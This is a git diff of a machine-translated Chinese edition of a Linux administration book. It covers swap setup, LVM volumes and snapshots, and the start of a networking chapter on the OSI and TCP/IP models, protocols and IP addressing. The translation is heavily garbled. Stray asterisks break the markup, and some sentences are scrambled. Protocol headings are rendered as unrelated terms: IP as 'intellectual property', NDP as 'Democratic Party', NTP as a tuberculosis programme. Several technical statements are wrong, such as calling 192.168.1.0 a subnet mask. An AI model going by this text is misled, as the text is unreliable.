usage](img/B13196_06_11.jpg) - -图 6.11 -内存和交换器的使用情况 - -如果您的系统上没有设置 swap,您可以将一个分区格式化为 swap 并激活它。 执行的命令如下: - -```sh -mkswap /dev/sda1 -swapon /dev/sda1 -``` - -操作系统正在内存中缓存文件内容,以尽可能避免使用交换。 内核使用的内存永远不会被交换; 只交换用户空间正在使用的内存。 - -文件系统和分区是任何磁盘管理任务的基本框架,但是管理员仍然需要克服许多问题,而这可以通过使用逻辑卷来解决。 这就是为什么在下一节中,我们将向您介绍**LVM**。 - -# Linux 逻辑卷管理 - -有些人可能已经听说过 LVM。 对于那些不知道它是什么的人,我们将在本节中简短地解释它。 想象一下磁盘空间耗尽的情况。 您总是可以将其移动到较大的磁盘上,然后替换较小的磁盘,但这意味着系统将重新启动,并且会出现不必要的停机时间。 作为一种解决方案,您可以考虑 LVM,它提供了更大的灵活性和效率。 通过使用 LVM,您可以向现有的卷组添加更多的物理磁盘,同时还可以继续使用。 这仍然提供了将数据移动到新硬盘驱动器的可能性,但是没有停机时间,所有事情都是在文件系统在线时完成的。 - -由于我们没有带有 LVM 的系统,我们将向您展示使用系统上的 1tb 驱动器创建新 LVM 卷的必要步骤,并将其创建为 LVM 物理卷: - -1. Create the LVM physical volume with the `pvcreate` command: - - ![Figure 6.12 – Using pvcreate to create an LVM physical volume](img/B13196_06_12.jpg) - - 图 6.12 -使用 pvcreate 创建 LVM 物理卷 - -2. Create a new volume group to add the new physical volume using the `vgcreate` command: - - ![Figure 6.13 – Creating a new volume group using vgcreate](img/B13196_06_13.jpg) - - 图 6.13 -使用 vgcreate 创建一个新的卷组 - -3. You can see the new volume group using the `vgdisplay` command: - - ![Figure 6.14 – See details regarding the new volume group using vgdisplay](img/B13196_06_14.jpg) - - 图 6.14 -使用 vgdisplay 查看关于新卷组的详细信息 - -4. Now, create a logical volume using some space from the volume group, using `lvcreate`. Use the `-n` option to add a name for the logical volume, and `-L` to set the size in a human-readable manner (we created a 5 GB logical volume named `projects`): - - ![Figure 6.15 – Creating a logical volume using lvcreate](img/B13196_06_15.jpg) - - 图 6.15 -使用 lvcreate 创建逻辑卷 - -5. Check to see whether the logical volume exists: - - ![Figure 6.16 – Checking whether the logical volume exists](img/B13196_06_16.jpg) - - 图 6.16 -检查逻辑卷是否存在 - -6. The newly created device can only be used if it's formatted using a known filesystem and mounted afterward, in the same way as a regular partition. First, let's format the new volume: - - ![Figure 6.17 – Formatting the new logical volume as an Ext4 filesystem](img/B13196_06_17.jpg) - - 图 6.17 -将新的逻辑卷格式化为 Ext4 文件系统 - -7. Now it's time to mount the logical volume. First, create a new directory and mount the logical volume there. Then, check the size using the `df` command: - - ![Figure 6.18 – Mounting the logical volume](img/B13196_06_18.jpg) - - 图 6.18 -挂载逻辑卷 - -8. 迄今实施的所有变革都不是永久性的。 要使其永久,您必须通过在文件中添加以下行来编辑`/etc/fstab`文件: - - ```sh - /dev/mapper/newvolume-projects /mnt/projects ext4 defaults 1 2 - ``` - -9. 现在可以检查逻辑卷上的可用空间,并根据需要增加它。 使用`vgdisplay`命令查看以下详细信息: - - ```sh - sudo vgdisplay newvolume - … - VG Size               931.51 GiB - PE Size               4.00 MiB - Total PE              238467 - Alloc PE / Size       1280 / 5.00 GiB - Free  PE / Size       237187 / 926.51 GiB - ``` - -10. You can now expand the logical volume by using the `lvextend` command. We will extend the initial size by 5 GB. Here is an example: - - ![Figure 6.19 – Extending the logical volume using lvextend](img/B13196_06_19.jpg) - - 图 6.19 -使用 lvextend 扩展逻辑卷 - -11. 现在,使用`resize2fs`调整文件系统的大小以适应逻辑卷的新大小,并使用`df`检查大小: - -![Figure 6.20 – Resizing the logical volume with resize2fs and checking for the size with df](img/B13196_06_20.jpg) - -图 6.20 -调整逻辑卷的大小为 resize2fs,并检查大小为 df - -在下一节中,我们将讨论一些更高级的 LVM 主题,包括如何获取完整的文件系统快照: - -## LVM 快照 - -什么是 LVM 快照? LVM 逻辑卷的冻结实例。 更详细地说,它使用了一种写时复制技术。 该技术监视现有卷的每个块,当块由于新的写入而发生变化时,该块的值就被复制到快照卷中。 - -快照是持续且即时地创建的,并且在删除之前一直存在。 这样,您就可以从任何快照创建备份。 由于快照由于写时复制技术而不断变化,所以在创建快照时应该首先考虑快照的大小。 如果可能的话,请考虑在快照存在期间将更改多少数据。 一旦快照用完,它将自动被禁用。 - -要创建一个新的快照,可以使用带`-s`选项的`lvcreate`命令。 您还可以使用`-L`选项指定大小,并使用`-n`选项为快照添加名称,如下所示: - -![Figure 6.21 – Creating an LVM snapshot with the lvcreate command](img/B13196_06_21.jpg) - -图 6.21 -使用 lvcreate 命令创建 LVM 快照 - -在前面的命令中,我们将大小设置为 5 GB,并使用名称`linux-snap01`。 该命令的最后一部分包含我们为其创建快照的卷的目标。 要列出新快照,请使用`lvs`命令: - -![Figure 6.22 – Listing the available volumes and the newly created snapshot](img/B13196_06_22.jpg) - -图 6.22 -列出可用的卷和新创建的快照 - -有关逻辑卷的更多信息,请运行`lvdisplay`命令。 输出将显示关于所有卷的信息,在这些卷中,您将看到前面创建的快照。 下面是输出的摘录: - -![Figure 6.23 – Information about the snapshot using the lvdisplay command](img/B13196_06_23.jpg) - -图 6.23 -使用 lvdisplay 命令查看快照的信息 - -在创建快照时,我们将其大小设置为 5 GB。 现在,我们希望将其扩展到源文件的大小,即 10gb。 我们将使用`lvextend`命令: - -![Figure 6.24 – Extending the snapshot from 5 to 10 GB](img/B13196_06_24.jpg) - -图 6.24 -将快照从 5 扩展到 10gb - -在前面的输出中命名可能很棘手,这就是为什么我们添加了另一个截图来告诉你为什么我们使用这个名称: - -![Figure 6.25 – Explaining the name we used](img/B13196_06_25.jpg) - -图 6.25 -解释我们使用的名称 - -正如您可以在前面的屏幕截图中看到的,快照卷使用的名称突出显示。 尽管*图 6.30*显示我们为快照卷使用了名称`linux-snap01`,但是如果我们列出`/dev/mapper/`目录,我们将看到名称`newvolume-linux—snap01`被替换了。 真正令人困惑的是用于名称的第二个破折号。 - -要恢复快照,首先需要卸载文件系统。 要卸载,我们将使用`umount`命令: - -```sh -sudo umount /mnt/projects/ -``` - -然后,我们可以继续使用`lvconvert`命令还原快照。 下面是输出: - -![Figure 6.26 – Restoring the snapshot using the lvconvert command](img/B13196_06_26.jpg) - -图 6.26 -使用 lvconvert 命令恢复快照 - -快照被合并到源文件中,我们可以使用`lvs`命令来检查: - -![Figure 6.27 – Using lvs to verify that the snapshot was merged](img/B13196_06_27.jpg) - -图 6.27 -使用 lvs 验证快照已合并 - -合并后,快照将自动删除。 由于您现在已经了解了如何创建 LVM 卷的快照,所以我们现在已经介绍了 Linux 中 LVM 的所有基础知识。 - -LVM 比普通磁盘分区更复杂。 它可能会吓到很多人,但它可以在需要的时候展示它的力量。 然而,它也有几个缺点。 它会在灾难恢复场景或硬件故障情况下增加不必要的复杂性。 但撇开这些不谈,它仍然值得我们学习。 - -# 总结 - -管理文件系统和磁盘对于任何 Linux 系统管理员来说都是一项重要的任务。 理解如何在 Linux 中管理设备,以及如何格式化和分区磁盘,是非常重要的。 此外,学习 LVM 非常重要,因为它提供了一种灵活的方式来管理分区。 - -掌握这些技能将为你完成任何基本的管理任务打下坚实的基础。 在下一章中,我们将向您介绍 Linux 中网络的广阔领域。***** \ No newline at end of file diff --git a/docs/master-linux-admin/07.md b/docs/master-linux-admin/07.md deleted file mode 100644 index d284e85d..00000000 --- a/docs/master-linux-admin/07.md +++ /dev/null @@ -1,1450 +0,0 @@ -# 七、Linux 网络 - -Linux 网络是一个巨大的领域。 在过去的几十年里,已经有无数关于 Linux 网络管理内部结构的书籍和参考文献。 有时,对于新手和高级用户来说,仅仅是吸收基本概念可能是压倒性的。 本章对 Linux 网络进行了相对简洁的概述,重点介绍了网络通信层、套接字和端口、网络服务和协议、**虚拟专用网络**(**vpn**)以及网络安全。 - -我们希望本章的内容既能让新手轻松地了解基本的 Linux 网络原理,也能让高级 Linux 管理员轻松地复习一下。 - -在本章中,我们将涵盖以下主题: - -* 探索基本的网络——集中于计算机网络,网络模型,协议,网络地址和端口。 我们还讨论了使用命令行终端配置 Linux 网络设置的一些实际方面。 -* 使用网络 services-introducing 常见的网络服务器运行在 Linux 上,如**域主机配置协议**(**DHCP)服务器、域名系统**(****DNS)服务器、文件共享服务器、远程接入服务器,等等。**** -*** 理解网络安全—特别强调 vpn。** - - **# 技术要求 - -在本章中,我们将在一定程度上使用 Linux 命令行。 强烈推荐安装在**虚拟机**(**VM**)或桌面平台上的 Linux 发行版。 如果你还没有一个,[*第 1 章*](01.html#_idTextAnchor014)*安装 Linux 和设置环境*将指导你完成安装过程。 本章中的大多数命令和示例使用 Ubuntu 和 CentOS,但同样适用于任何其他 Linux 平台。 - -# 探索基本的网络 - -今天,几乎无法想象一台计算机没有连接到某种网络或互联网。 我们不断增长的在线状态、云计算、移动通信、和**物联网(**物联网)不会可能没有高度分散,高速、和可伸缩网络服务的底层数据流量, 然而,现代互联网背后的基本网络原理已经有几十年的历史了。 显然,网络和通信模式将继续发展,但一些原始的基本概念和概念仍将在塑造未来通信的构建模块方面产生持久的影响。**** - - **本节将向您介绍一些网络的基本要素,并希望激发您进一步探索的好奇心。 让我们从计算机网络开始。 - -## 计算机网络 - -计算机网络是由两台或两台以上的计算机(或节点)组成的一组,这些计算机(或节点)通过物理介质(电缆、无线、光学)连接起来,并通过一套标准的公认通信协议彼此通信。 在非常高的层次上,网络通信基础设施包括计算机、设备、交换机、路由器、以太网或光缆、无线环境以及各种网络设备。 - -除了*物理*的连接和安排,网络还通过*逻辑*布局通过网络拓扑、层和相关的数据流来定义。 逻辑上的网络层次结构的一个例子是**非军事区**(**DMZ**)、*防火墙*和*内部*网络的三层结构。 DMZ 是一个组织的面向外部的网络,具有针对公共互联网的额外安全层。 防火墙控制 DMZ 和内部网络之间的网络流量。 - -网络设备由网络地址和主机名标识。 网络地址协助定位节点在网络上使用的通信协议,如**互联网协议(IP**)(看到更多的 IP*部分,TCP / IP 协议在本章后面)。 主机名是与设备相关联的用户友好标签,比网络地址更容易记住。***** - - ***一种常见的分类标准着眼于计算机网络的规模和扩展。 接下来我们将介绍**局域网**(**局域网**)和**广域网**(**广域网**)。 - -### 局域网 - -LAN 表示一组连接并位于单一物理位置的设备,如私人住宅、学校或办公室。 局域网可以是任何规模的,从只有少量设备的家庭网络到拥有数千用户和计算机的大型企业网络。 - -不管网络大小如何,局域网的基本特征是它将单个有限区域内的设备连接起来。 局域网的例子包括单户住宅的家庭网络或当地咖啡店的免费无线服务。 - -关于局域网的更多信息,请参考[https://www.cisco.com/c/en/us/products/switches/what-is-a-lan-local-area-network.html](https://www.cisco.com/c/en/us/products/switches/what-is-a-lan-local-area-network.html)。 - -当计算机网络跨越多个区域或多个互连的局域网时,广域网就发挥作用了。 - -### 广域网 - -广域网通常是一个由多个或分布式局域网相互通信的网络组成的网络。 从这个意义上说,我们认为互联网是世界上最大的广域网。 - -广域网的一个例子是跨国公司按地理位置分布在世界各地办事处的计算机网络。 有些广域网路是由服务提供商建造的,可以出租给世界各地的各种企业和机构。 - -广域网路有几种变体,这取决于它们的类型、范围和用途。 典型**广域网的例子包括个人区域网络****(锅)**、**市区网络【显示】**(芒)**和**云或互联网区域网络【病人】**题材影片。****** - - **更多关于广域网的信息,请参考[https://www.cisco.com/c/en/us/products/switches/what-is-a-wan-wide-area-network.html](https://www.cisco.com/c/en/us/products/switches/what-is-a-wan-wide-area-network.html)。 - -我们认为,对基本网络原理的充分介绍应该包括对一般网络通信的理论模型的简要介绍。 让我们接下来看看这个。 - -## OSI 模型 - -**开放系统互连**(**OSI**)模型是计算机系统之间通过网络交互的多层通信机制的理论表示。 OSI 模型由**国际标准化组织**(**ISO**)于 1983 年引入,为不同的计算机系统之间的通信提供一个标准。 - -我们可以把 OSI 模型看作是网络通信的通用框架。 如下截图所示,OSI 模型定义了一个 7 层的堆栈,指导通信流: - -![Figure 7.1 – The OSI model](img/B13196_07_01.jpg) - -图 7.1 - OSI 模型 - -在上图所示的分层视图中,通信流从上到下移动(在发送端)或从下到上移动(在接收端)。 让我们来看看这些层,并描述它们在塑造网络通信中的功能。 - -### 物理层 - -*物理层*(或*第一层*)由连接各设备并为通信服务的网络设备或基础设施组成,如电缆、无线或光学环境、连接器、交换机等。 这一层处理原始比特流和通信媒体之间的转换,同时调节相应的比特率控制。 (通信介质包括电信号、无线电信号或光信号。) - -例子在物理层协议的操作包括以太网,**通用串行总线(USB**),**和**数字用户线(DSL【显示】**)。** - - **### 数据链路层 - -*数据链路层*(或*层 2)之间建立一个可靠的数据流两个直接连接设备在一个网络中,相邻节点在 WAN 或为局域网内的设备。 数据链路层的职责之一是流量控制,以适应物理层的通信速度。 在接收设备上,数据链路层负责纠正由物理层引起的通信错误。 数据链路层由以下子系统组成:* - -* **媒体访问控制**(**MAC**)-这个子系统使用 MAC 地址识别并连接网络上的设备。 它还控制设备在网络上传输和接收数据的访问权限。 -* **逻辑链路控制**(**LLC**)-这个子系统识别并封装网络层协议,在传输或接收数据时执行错误检查和帧同步。 - -由数据链路层控制的协议数据单元又称为*帧*。 帧是一种数据传输单元,它充当单个网络数据包的容器。 网络数据包在下一个 OSI 级别(*网络层*)进行处理。 当多个设备同时访问同一物理层时,可能会发生帧冲突。 数据链路层协议可以检测和恢复这种冲突,并进一步减少或防止它们的发生。 - -数据链路协议的一个例子是**点对点协议**(**PPP**),这是一种用于高速宽带通信网络的二进制组网协议。 - -### 网络层 - -*网络层*(或*第三层*)发现网络中设备之间的最佳通信路径(或路由)。 该层使用基于参与数据交换的设备 IP*地址的路由机制,将数据包从源端移动到目的端。* - - *在传输端,网络层将起源于传输层(*第 4 层*)的数据段拆解成网络数据包。 在接收端,数据帧从下一层(*数据链路层*)重新组装成数据包。 - -运行在网络层的协议是**Internet 控制消息协议**(**ICMP**)。 ICMP 被网络设备用来检查网络上其他设备(或 IP 地址)的可用性。 当请求的端点不可用时,ICMP 会报告一个错误。 - -### 传输层 - -*传输层*(或*第 4 层*)与数据*片段*或*数据报*操作。 这一层是,主要负责将数据从数据源传输到目的地,并保证特定的**服务质量**(**QoS**)。 在传输端,来自上一层(*会话层*)的数据被分解成段。 在接收端,传输层将从下一层(*网络层*)接收到的数据包重新组装成段。 - -传输层通过流量控制和错误控制功能来维护数据传输的可靠性。 流量控制功能可以调整不同连接速度的端点之间的数据传输速率,以避免发送端压倒接收端。 当接收到的数据不正确时,错误控制函数可能请求重新传输数据。 - -传输层协议的例子包括**传输控制协议(TCP**),的**用户数据报协议(UDP【显示】**)。**** - - ****### 会话层 - -*会话层*(或*第五层*)控制网络上通信设备之间的连接通道(或会话)的生命周期。 在这一层,会话或网络连接通常由网络地址、套接字和端口定义。 我们将在本章后面解释这些概念。 会话层负责通信通道或会话内数据传输的完整性。 例如,如果会话被中断,数据传输将从先前的检查点恢复。 - -一些典型的会话层协议是**远程过程调用**(**RPC)协议进程间通信使用的,**网络基本输入/输出系统**(**【显示】NetBIOS),这是一个文件共享和名称解析协议。 - -### 表示层 - -*表示层*(或*第 6 层*)充当上面的*应用层*和下面的*会话层*之间的数据转换层。 在传输端,这一层在通过网络发送数据之前,将格式化成与系统无关的表示形式。 在接收端,表示层将数据转换为应用友好的格式。 此类转换的示例包括加密和解密、压缩和解压缩、编码和解码以及序列化和反序列化。 通常,表示层和应用层之间没有实质上的区别,主要是因为不同的数据格式与使用它们的应用之间存在相对紧密的耦合。 标准数据表示格式包括**美国标准信息交换**(【t16.1】ASCII),**可扩展标记语言(XML**),**JavaScript 对象表示法**(****JSON),**联合摄影专家组(JPEG****),邮政,等等。****** - - ****### 应用层 - -在 OSI 模型中,*应用层*(或*第 7 层*)最接近最终用户。 第 7 层以某种有意义的方式收集或提供应用数据的输入或输出。 这一层并不包含或运行应用本身。 相反,第 7 层充当应用之间的抽象,实现通信组件和底层网络。 应用与应用层交互的典型例子是 web 浏览器和电子邮件客户端。 - -7 层协议中的少数实例是 DNS 协议; **超文本传输协议**(**HTTP**); **文件传输协议**(**FTP**); 和【病人】邮局协议(**流行),【t16.1】互联网信息访问协议**(**IMAP),**简单邮件传输协议**(****SMTP)电子邮件消息协议。** - -在结束之前,我们应该指出 OSI 模型是网络通信层的通用表示,并提供了网络通信如何工作的理论指导方针。 一个类似但更实际的网络堆栈演示是 TCP/IP 模型,我们将在下一节中探讨它。 - -当涉及到网络设计、实现、故障排除和诊断时,这两种模型都很有用。 OSI 模型使网络运营商对整个网络堆栈(从物理介质到应用层)有一个很好的理解,每一层都有其**协议数据单元**(**pdu**)和内部通信。 TCP/IP 模型在某种程度上被简化了,一些 OSI 模型层被压缩为一个,它采用了一种以协议为中心的方法来进行网络通信。 - -## TCP/IP 模型 - -*TCP/IP 模型*是 OSI 网络堆栈的四层解释,其中一些等效的 OSI 层出现合并,如下截图所示: - -![Figure 7.2 – The OSI and TCP/IP models](img/B13196_07_02.jpg) - -图 7.2 - OSI 和 TCP/IP 模型 - -从时间上看,TCP/IP 模型比 OSI 模型早。 是由美国首先提出**国防部**(**国防部)作为互联网络项目的一部分开发的**国防高级研究计划局(DARPA**【显示】)。 这个项目最终成为现代互联网。** - - **TCP/IP 模型层封装了与它们的对等 OSI 层相似的功能。 下面是对 TCP/IP 模型中每一层的简要总结。 - -### 网络接口层 - -网络接口层*负责在物理介质(如有线、无线、光学)上传送数据。 在这一层运行的网络协议包括以太网、令牌环和帧中继。 这一层映射到 OSI 模型中物理层和数据链路层的组成。* - - *### 网络层 - -*互联网层*提供*无连接*网络节点之间的数据传输。 无连接协议描述了一种网络通信模式,其中发送方在没有事先安排的情况下将数据传输给接收方。 这一层负责在发送端将数据分解成网络数据包,在接收端重新组装。 internet 层使用路由功能来识别网络节点之间的最优路径。 这一层映射到 OSI 模型中的网络层。 - -### 传输层 - -*传输层*(也称为*传输层*或*主机到主机层*)负责维护连接的网络节点之间的通信会话。 传输层实现了端点之间可靠数据传递的错误检测和校正机制。 这一层映射到 OSI 模型中的传输层。 - -### 应用层 - -*应用层*提供软件应用与底层网络之间的数据通信抽象。 这一层映射到 OSI 模型中会话层、表示层和应用层的组成。 - -TCP/IP 模型是以协议为中心的网络堆栈表示。 该模型通过逐渐定义和发展互联网通信所需的网络协议,成为互联网的基础。 这些协议统称为*IP 套件*。 - -下面的部分描述一些最常见的网络协议。 - -## TCP/IP 协议 - -在本节中,我们将描述一些广泛使用的网络协议。 这里的参考不应该被认为是一个包罗万象的指南。 有大量的 TCP/IP 协议,全面的研究超出了本章的范围。 尽管如此,在日常网络通信和管理工作流中仍有一些协议值得研究。 - -下面的部分简要描述了每个 TCP/IP 协议及其相关的**Request for Comments**(**RFC**)标识符,以获得更多信息。 RFC 代表协议的详细技术文档,在我们的例子中,通常是由**Internet 工程任务组**(**IETF**)编写的。 更多关于 RFC 的信息,请参考[https://www.ietf.org/standards/rfcs/](https://www.ietf.org/standards/rfcs/)。 - -### 知识产权 - -IP(*RFC 791*)基于固定长度的地址(也称为 IP 地址)来标识网络节点。 IP 地址将在本章后面的中详细描述。 IP 协议使用数据报作为数据传输单元,并提供大数据报的碎片化和重组能力,以适应小数据包网络(并避免传输延迟)。 IP 协议还提供路由功能,以找到网络节点之间的最佳数据路径。 IP 操作在 OSI 模型的网络层(3)。 - -### ARP - -**地址解析协议(ARP****)(RFC 826*)使用 IP 协议 IP 映射网络地址(具体来说,**IP 版本 4【显示】****(IPv4)【病人】设备的 MAC 地址使用的数据链路协议。 ARP 操作在 OSI 模型的数据链路层(2)。***** - - *### 民主党 - -**的邻居发现协议**(**民主党)*(RFC 4861)就像 ARP 协议,并控制【T7 IP 版本 6】【显示】(*****IPv6)地址映射。 NDP 在 OSI 模型的数据链路层(2)中运行。** - -### ICMP - -ICMP(*RFC 792*)是的一种支持的基于 IP 地址的网络设备可用性检测协议。 当设备或节点在给定的超时时间内无法到达时,ICMP 会报告一个错误。 ICMP 工作在 OSI 模式下的网络层(3)。 - -### TCP - -TCP(*RFC 793*)是一种面向连接的、高度可靠的通信协议。 在开始数据交换之前,TCP 需要节点之间的逻辑连接(例如*握手*)。 TCP 在 OSI 模型中运行在传输层(4)。 - -### UDP - -UDP(*rfc768*)是无连接通信协议。 UDP 没有握手机制(与 TCP 相比)。 因此,使用 UDP 无法保证数据传输。 UDP 使用数据报作为数据传输单元,适用于不需要进行错误检查的网络通信。 UDP 操作在 OSI 模型的传输层(4)。 - -### DHCP - -DHCP(*RFC 2131*)为 TCP/IP 网络上的设备请求和传递主机配置信息提供了一个框架。 DHCP 允许自动(动态)分配可重用的 IP 地址和其他配置选项。 DHCP 被认为是 OSI 模型中的一个应用层(7)协议,但最初的 DHCP 发现机制运行在数据链路层(2)。 - -### DNS - -DNS(*RFC 2929*)是一种作为网络地址簿的协议,其中网络中的节点是通过人类可读的名称而不是 IP 地址来标识的。 根据 IP 协议,网络中的每个设备都由一个唯一的 IP 地址来标识。 当网络连接在连接建立之前指定了远端设备的主机名(或域名)时,DNS 将域名(如`dns.google.com`)转换为 IP 地址(如`8.8.8.8`)。 DNS 协议操作在 OSI 模型的应用层(7)。 - -### HTTP - -HTTP(*RFC 2616*)是互联网的车载语言。 HTTP 是一种无状态应用层协议,基于客户端应用(例如浏览器)和服务器端点(例如 web 服务器)之间的请求和响应。 HTTP 支持各种各样的数据格式,从文本到图像和视频流。 HTTP 操作在 OSI 模型的应用层(7)。 - -### FTP - -FTP(*RFC 959*)是一个标准协议,用于传输 FTP 客户端从 FTP 服务器请求的文件。 FTP 操作在 OSI 模型的应用层(7)。 - -### 远程登录 - -**终端网络协议**(**TELNET)*(RFC 854)是一个应用层协议提供一个双向种面向文本的网络客户端和服务器之间的通信,使用虚拟终端连接。 TELNET 操作在 OSI 模型的应用层(7)。*** - -### SSH - -**Secure Shell**(**SSH**)(*RFC 4253*)是一个安全应用层协议,封装了强加密和加密主机认证。 SSH 使用客户机和服务器之间的虚拟终端连接。 SSH 操作在 OSI 模型的应用层(7)。 - -### SMTP - -SMTP(*RFC 5321*)是一种应用层协议,用于在电子邮件客户端(如 Outlook)和电子邮件服务器(如 Exchange server)之间收发电子邮件。 SMTP 支持强加密和主机身份验证。 SMTP 行为在 OSI 模型的应用层(7)。 - -### SNMP - -**简单网络管理协议**(**SNMP**)(*RFC 1157*)用于设备的远程管理和监控。 SNMP 运行在 OSI 模型的应用层(7)上。 - -### 国家结核控制规划 - -**网络时间协议**(**NTP**)(*RFC 5905)*是一个 internet 协议,用于通过网络同步多台机器的系统时钟。 NTP 运行在 OSI 模型的应用层(7)。 - -以前列举的大多数互联网协议使用 IP 协议来识别参与通信的设备。 网络中的设备由一个 IP 地址唯一标识。 让我们仔细检查一下这些网络地址。 - -## IP 地址 - -IP 地址是网络中设备的固定长度**唯一标识**(**UID**)。 设备通过 IP 地址定位并进行通信。 IP 地址的概念非常类似于住宅的邮政地址,邮件或包裹将根据其地址发送到该目的地。 - -最初,IP 将 IP 地址定义为一个 32 位的数字,即 IPv4 地址。 随着互联网的发展,网络中 IP 地址的数量已经耗尽。 为了解决这个问题,IP 协议的一个新版本为 IP 地址设计了一个 128 位的编号方案。 128 位的 IP 地址也被称为 IPv6 地址。 - -在下一节中,我们将进一步研究在 IP 地址中扮演重要角色的网络结构,例如 IPv4 和 IPv6 地址格式、网络类、子网和广播地址。 - -### IPv4 地址 - -IPv4 地址是一个 32 位的数字(4 字节),通常用表示为 4 组 1 字节(8 位)的数字,由一个点(`.`)分隔。 这四组中的每个数字都是一个介于`0`和`255`之间的整数。 下面是一个 IPv4 地址的例子: - -```sh -192.168.1.53 -``` - -下图显示了 IPv4 地址的二进制表示形式: - -![Figure 7.3 – Network classes](img/B13196_07_03.jpg) - -图 7.3 -网络类 - -IPv4 地址的空间限制为 4294967296(232)个地址(约 40 亿)。 在这些地址中,大约有 1800 万个保留用于特殊用途(例如,私有网络),大约 2.7 亿个是多播地址。 - -组播地址是一组 IP 地址的逻辑标识符。 有关组播地址的更多信息,请参考*RFC 6308*([https://tools.ietf.org/html/rfc6308](https://tools.ietf.org/html/rfc6308))。 - -### 网络类 - -在互联网的早期阶段,IPv4 地址中最高阶字节(第一组)表示网络号。 随后的字节进一步表示网络层次结构和子网络,最低阶的字节标识设备本身。 这种方案很快被证明不适合网络层次结构和隔离,因为它只允许 256(28)个网络,用 IPv4 地址的前导字节表示。 随着附加网络的加入,每个网络都有自己的标识,IP 地址规范需要一个特殊的修订来适应一个标准模型。 1981 年引入的*有类网络*规范解决了这个问题,它根据地址的前 4 位将 IPv4 地址空间划分为 5 个类,如下图所示: - -![Figure 7.4 – Network classes](img/B13196_07_04.jpg) - -图 7.4 -网络类 - -有关网络类的更多信息,请参考*RFC 870*([https://tools.ietf.org/html/rfc870](https://tools.ietf.org/html/rfc870))。 在上表中,最后一列指定了这些网络类的默认子网掩码。 下面我们来看看子网(或子网络)。 - -### Subnetworks - -*子网*(或*子网*)是 IP 网络的逻辑细分。 子网被引入的目的是识别属于到同一网络的设备。 同一网络中设备的 IP 地址具有相同的最有效组。 子网定义在两个字段中对 IP 地址进行了逻辑划分:*网络标识符*和*主机标识符*。 子网的数字表示法称为*子网掩码*或*子网掩码*。 下面的表给出了一个网络标识符和终端标识符的例子: - -![Figure 7.5 – Subnet with network and host identifiers](img/B13196_07_05.jpg) - -图 7.5 -带有网络和主机标识符的子网 - -使用我们的 IPv4 地址(`192.168.1.53`),我们可以设计一个网络标识符`192.168.1`和主机标识符`53`。 得到的子网掩码如下: - -```sh -192.168.1.0 -``` - -我们去掉了子网掩码中最不重要的组,即表示主机标识符(`53`),并将其替换为`0`。 本例中的`0`表示子网中的起始地址。 也就是说,该子网允许在`0`~`255`范围内的任何主机标识符值。 例如,`192.168.1.92`的 IP 地址是`192.168.1.0`网络中的一个有效(且被接受的)IP 地址。 - -另一种备选的子网表示法是所谓的**无分类域间路由**(**CIDR**)表示法。 CIDR 将 IP 地址表示为网络地址(*前缀*),后跟一个斜杠(`/`)和前缀的*位长*。 在我们的例子中,`192.168.1.0`子网的 CIDR 表示法如下: - -```sh -192.168.1/24 -``` - -网络地址的前三组组成了*3 x 8 = 24*位,因此有了`/24`表示法。 - -通常,子网的规划以主机标识符地址为起点。 回到我们的示例,假设我们希望网络中的主机标识符地址以`100`开始,以`125`结束。 - -`192.168.1.100`的二进制表示是: - -11000000.10101000.00000001。 **01100100** - -前面序列中的最后一组(高亮显示)表示主机标识符(`100`)。 最接近保留的 99 个地址的二进制值是*96 = 64 + 32*。 等价的二进制值如下: - -```sh -11100000 -``` - -换句话说,主机标识符中三个最重要的位是保留的。 子网表示法中的保留位显示为`1`。 这些位将被加到网络地址(`192.168.1`)的 24 个已经保留的位上,总计为*27 = 24 + 3*位。 这里是等价的表示: - -```sh -11111111.11111111.11111111.11100000 -``` - -因此,最终的 netmask 是这样的: - -```sh -255.255.255.224 -``` - -对应子网的 CIDR 表示法如下: - -```sh -192.168.1.96/27 -``` - -主机标识符组的其余 5 位表示子网中从`97`开始的 25 = 32 个可能的地址。 这将限制最大主机标识符值为*127 = 96 + 32 - 1*。 (我们减去 1 来表示总共 32 个中的 97 个)。 在 32 个地址范围内,最后一个 IP 地址被保留为*广播地址*,如下所示: - -```sh -192.168.1.127 -``` - -在适用的情况下,广播地址(T0)作为网络或子网中的最高数量保留。 回到我们的例子,不包括广播地址,子网中的最大主机 IP 地址是: - -```sh -192.168.1.126 -``` - -您可以在*RFC 1918*([https://tools.ietf.org/html/rfc1918](https://tools.ietf.org/html/rfc1918))中了解更多关于子网的信息。 既然我们提到了广播地址,让我们快速浏览一下。 - -### 广播地址 - -广播地址*是网络或子网络中的保留 IP 地址,用于向该网络中的所有设备发送集合消息(数据)。 广播地址是网络或子网中的最后一个 IP 地址。* - - *例如:`192.168.1.0/24`网络的广播地址为`192.168.1.255`。 在上一节的示例中,`192.168.1.96/27`子网的广播地址为`192.168.1.127`(*127 = 96 + 32 - 1*)。 - -详情请浏览[https://en.wikipedia.org/wiki/Broadcast_address](https://en.wikipedia.org/wiki/Broadcast_address)。 - -### IPv6 地址 - -一个 IPv6 地址是一个 128 位(16 字节)的数字,通常表示为 8 组 2 字节(16 位)的数字,由一列(`:`)分隔。 这 8 组中的每个数字都是十六进制数,其值在`0000`和`FFFF`之间。 下面是一个 IPv6 地址的例子: - -```sh -2001:0b8d:8a52:0000:0000:8b2d:0240:7235 -``` - -前面的 IPv6 地址的等价表示显示在这里: - -```sh -2001:b8d:8a52::8b2d:240:7235/64 -``` - -在第二种表示法中,省略前导零,将全零组(`0000:0000`)合并为空组(`::`)。 最后的`/64`符号表示 IPv6 地址的*前缀长度*。 IPv6 前缀长度相当于 IPv4 子网的 CIDR 表示法。 对于 IPv6,前缀长度为`1`~`128`之间的整数值。 - -在我们的例子中,前缀长度为 64 位(*4 x 16*),子网看起来像这样: - -```sh -2001:b8d:8a52:: -``` - -子网代表四个前导组(`2001`,`0b8d`,`8a52`,`0000`),共*4 × 16 = 64 位*。 在 IPv6 子网的简化表示中,前导的零被省略,全零组被折叠为`::`。 - -IPv6 的子网划分与 IPv4 非常相似。 由于相关的概念已经在 IPv4 一节中介绍,所以我们在这里不深入讨论细节。 更多关于 IPv6 的信息,请参考*RFC 2460*([https://tools.ietf.org/html/rfc2460](https://tools.ietf.org/html/rfc2460))。 - -在熟悉了 IP 地址之后,应该介绍一些相关的网络构造—套接字和端口—为 IP 地址的软件实现服务。 - -## 插座和端口 - -套接字是一种软件数据结构,表示用于通信的网络节点。 虽然是一个编程概念,但在 Linux 中,网络套接字最终是一个通过网络**应用编程接口**(**API**)控制的文件描述符。 套接字是应用进程用来传输和接收数据的。 应用可以创建和删除套接字。 